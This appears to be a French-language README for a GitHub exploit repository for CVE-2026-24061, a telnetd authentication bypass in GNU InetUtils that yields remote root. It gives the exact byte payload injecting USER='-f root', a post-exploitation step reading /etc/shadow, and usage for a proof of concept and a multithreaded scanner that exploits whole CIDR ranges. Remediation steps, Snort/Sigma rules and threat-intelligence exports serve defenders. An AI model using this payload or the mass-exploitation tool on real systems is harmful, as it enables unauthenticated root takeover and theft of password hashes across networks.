
GNU InetUtils telnetd - Racine distante non authentifiée via l'injection de variable NEW-ENVIRON.
GNU InetUtils telnetd - Root distant non authentifié via injection de variable NEW-ENVIRON
Vue d'ensemble - Analyse technique - Versions concernées - Utilisation - Remédiation - Références
CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans le démon telnetd distribué avec GNU InetUtils. Le défaut réside dans la gestion de l'option Telnet NEW-ENVIRON (RFC 1572) lors de la poignée de main initiale du protocole.
La cause racine est une absence de nettoyage des variables d'environnement fournies par le client avant de les transmettre au programme . Lorsque le démon Telnet reçoit un paquet de sous-négociation contenant la variable avec la valeur , il transmet cette valeur non nettoyée directement au binaire système .
login(1)NEW-ENVIRON ISUSER-f rootloginSur les systèmes où login accepte le drapeau -f (connexion forcée sans vérification du mot de passe), cela aboutit à l'octroi d'une session root non authentifiée à l'attaquant distant.
Cette classe de vulnérabilité a un précédent historique : CVE-2001-0797 dans SysV telnetd et le contournement bien connu -f de telnetd Linux de 1994 exploitaient la même défaillance fondamentale de nettoyage des arguments issus de l'environnement transmis aux binaires privilégiés.
Aucun identifiant requis. Aucun accès préalable nécessaire. Une seule séquence de paquets réseau suffit pour obtenir root.
GNU InetUtils telnetd traite la sous-négociation NEW-ENVIRON (code d'option 0x27, selon la RFC 1572) pour collecter les variables d'environnement fournies par le client. Ces variables sont assemblées dans un vecteur d'arguments et transmises à execve(2) lors du lancement de login(1).
La vulnérabilité est déclenchée comme suit :
IAC DO NEW-ENVIRON, sollicitant les variables d'environnement du client.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd construit l'invocation de login comme login -f root.login(1) interprète -f comme « connexion forcée, ignorer l'authentification » et connecte l'utilisateur spécifié (root) sans exiger de mot de passe.| Étape | Direction | Octets Telnet (hex) | Signification |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root fonctionneLe binaire login(1) sur de nombreux systèmes Linux accepte le drapeau -f <utilisateur> pour les connexions « pré-authentifiées », historiquement utilisé par les multiplexeurs de terminaux et rlogin. Lorsque telnetd construit son appel exec et ne parvient pas à supprimer les tirets initiaux ou à valider les chaînes de type option dans les valeurs des variables d'environnement, il transmet par inadvertance des drapeaux contrôlés par l'attaquant directement à login.
L'appel effectif devient :
execve("/bin/login", ["login", "-f", "root"], envp);
Attaquant telnetd vulnérable (port 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Bannière Telnet + IAC DO NEW-ENVIRON ------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd appelle : login -f root] |
| |
|<------ Invite de shell root (#) ------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root contenu /etc/shadow ------|
Conditions préalables :
telnetd (TCP/23 ouvert)inetutilslogin(1) prend en charge le drapeau -f (standard sur la plupart des distributions Linux)| Logiciel | Versions concernées | Statut |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (version corrigée spécifique à déterminer) | Vulnérable |
| Distributions fournissant GNU inetutils non corrigé | Diverses | Consulter l'avis du fournisseur |
Vérifiez si votre distribution fournit une version corrigée. De nombreux systèmes modernes ont Telnet désactivé par défaut ; l'exposition nécessite un
telnetdexplicitement en cours d'exécution.
| Métrique | Valeur |
|---|---|
| Score de base CVSS v3.1 | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Inchangée |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |
| Chaîne vectorielle | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Tactique | Technique | Pertinence |
|---|---|---|---|
| T1190 | Accès initial | Exploitation d'une application exposée publiquement | Exploitation directe de telnetd sur le réseau |
| T1059 | Exécution | Interpréteur de commandes et de scripts | Exécution de shell post-exploitation |
| T1078.004 | Élévation de privilèges / Contournement de défense | Comptes valides : Comptes locaux | Le contournement d'authentification aboutit à une session root valide |
| T1548 | Élévation de privilèges | Abus du mécanisme de contrôle d'élévation | Drapeau login -f abusé pour contourner PAM/l'authentification |
| T1046 | Découverte | Découverte de services réseau | Composant de scan de masse du PoC |
Prérequis : Python 3 (bibliothèque standard uniquement, zéro dépendance externe).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Aucun pip install nécessaire. Les deux scripts utilisent uniquement la bibliothèque standard de Python.
poc_cve_2026_24061.py # PoC simple (~100 lignes) - comprendre la vulnérabilité
cve_2026_24061.py # Exploit industrialisé - multithread, CIDR, export CSV/JSON
scripts/
generate_signatures.py # Génère automatiquement les règles Snort/Suricata + Sigma à partir de la charge utile
generate_misp_event.py # Génère un événement JSON importable dans MISP
generate_stix_bundle.py # Génère un bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Règles de détection Snort/Suricata (générées automatiquement)
sigma.yml # Règle Sigma pour SIEM (générée automatiquement)
indicators/
misp_event.json # Événement MISP - import via Events > Add Event > Import
stix_bundle.json # Bundle STIX 2.1 - 11 objets (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py : Minimal, lisible, pédagogique. Une cible, une fonction, zéro abstraction. Lisez ce fichier pour comprendre exactement comment la vulnérabilité fonctionne au niveau du protocole.cve_2026_24061.py : Exploit industrialisé pour les engagements de pentest. Multithread, prend en charge les plages CIDR, l'entrée par fichier, l'export CSV/JSON, le mode silencieux, les utilisateurs personnalisés.Exploite un hôte unique. Le code est délibérément minimal afin que vous puissiez le lire de bout en bout et comprendre toute la chaîne d'attaque.
# Utilisation de base
python3 poc_cve_2026_24061.py 192.168.1.100
# Port personnalisé
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| Paramètre | Défaut | Description |
|---|---|---|
-t / --target | - | IP unique, nom d'hôte ou plage CIDR |
-f / --file | - | Fichier contenant les IP/CIDR (une par ligne, commentaires #) |
-T / --threads | 10 | Nombre de threads concurrents |
-p / --port | 23 | Port Telnet cible |
--timeout | 5 | Délai d'expiration de la socket en secondes |
--user | root | Nom d'utilisateur pour la charge utile -f |
-o / --output | - | Exporter les résultats dans un fichier CSV |
--json | - | Exporter les résultats dans un fichier JSON |
-q / --quiet | désactivé | Mode silencieux : n'afficher que les cibles vulnérables (une par ligne) |
--no-color | désactivé | Désactiver la sortie couleur ANSI |
| Statut | Signification |
|---|---|
[VULN] | Hôte confirmé vulnérable - shell root obtenu |
[SAFE] | L'hôte a répondu mais l'authentification n'a pas été contournée |
[CLOS] | Port fermé ou connexion refusée |
[ERR ] | Erreur de socket ou de protocole pendant le scan |
Colonnes de sortie CSV : ip:port, status, message
Le script implémente nativement en Python la machine à états complète de la négociation Telnet NEW-ENVIRON sans dépendre de bibliothèques Telnet externes :
IAC entrantes et répond à DO NEW-ENVIRON avec WILL NEW-ENVIRON.SB NEW-ENVIRON SEND, transmet la charge utile injectée (USER = "-f root").uid=0(root) ou d'une invite de shell (#), en l'absence de Login incorrect ou Password:.id\n et vérifie la présence de uid=0(root) dans la réponse comme confirmation secondaire.Les résultats sont journalisés sur stdout avec des étiquettes de statut colorées. L'export CSV optionnel enregistre toutes les découvertes pour un post-traitement.
Désactiver Telnet entièrement. Telnet transmet toutes les données en clair. Remplacez-le par SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
Appliquer le correctif du fournisseur. Installez la version corrigée d'inetutils de votre distribution dès qu'elle est disponible.
Bloquer TCP/23 au périmètre. Appliquez des règles de pare-feu pour refuser les connexions Telnet entrantes.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| Contrôle | Description |
|---|---|
| Segmentation réseau | Restreindre Telnet aux réseaux de gestion isolés s'il ne peut pas être désactivé |
| Durcissement PAM | Examiner la configuration PAM ; désactiver la pré-authentification -f là où elle n'est pas requise par login.defs |
| Signatures IDS/IPS | Détecter les motifs NEW-ENVIRON IS VAR USER VALUE -f dans le trafic Telnet |
| Journalisation d'audit | Surveiller auth.log / secure pour les connexions root inattendues via login |
| Scan de vulnérabilités | Exécuter des scans authentifiés (OpenVAS, Nessus) pour identifier les inetutils non corrigés |
Squelette de règle Snort/Suricata pour détecter l'exploit en transit :
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd tentative d'exploitation USER=-f root";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
Ce dépôt fournit des artefacts de renseignement sur les menaces pré-générés, prêts à être importés dans votre pile SOC/CTI. Ils sont générés automatiquement par CI à partir de la charge utile réelle de l'exploit - si la charge utile change, les artefacts sont mis à jour.
Importez indicators/misp_event.json directement dans n'importe quelle instance MISP :
Events > Add Event > Import from... > JSON
L'événement contient : ID CVE, vecteur CVSS, signature Snort, hex de la charge utile, balises MITRE ATT&CK (T1190, T1548, T1059), CPE et références externes.
Importez indicators/stix_bundle.json dans OpenCTI, les serveurs TAXII ou tout consommateur STIX 2.1.
Le bundle contient 11 objets : Vulnerability, Indicator (motif réseau), 3 Attack Patterns (MITRE), Course of Action (remédiation), Identity et les Relations les reliant.
Règles pré-construites dans signatures/ :
snort.rules - 3 règles Snort/Suricata (tentative d'exploit, injection générique -f, shell root post-exploitation)sigma.yml - Règle Sigma pour corrélation SIEMSi vous modifiez la charge utile de l'exploit, régénérez tous les artefacts :
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
Cet outil est fourni uniquement pour les audits de sécurité autorisés, la recherche académique et les fins éducatives. L'utilisation contre des systèmes sans autorisation écrite explicite du propriétaire du système est illégale en vertu des lois applicables sur la fraude et les abus informatiques (y compris, sans s'y limiter, le CFAA, le Computer Misuse Act et la législation équivalente). L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou malveillante.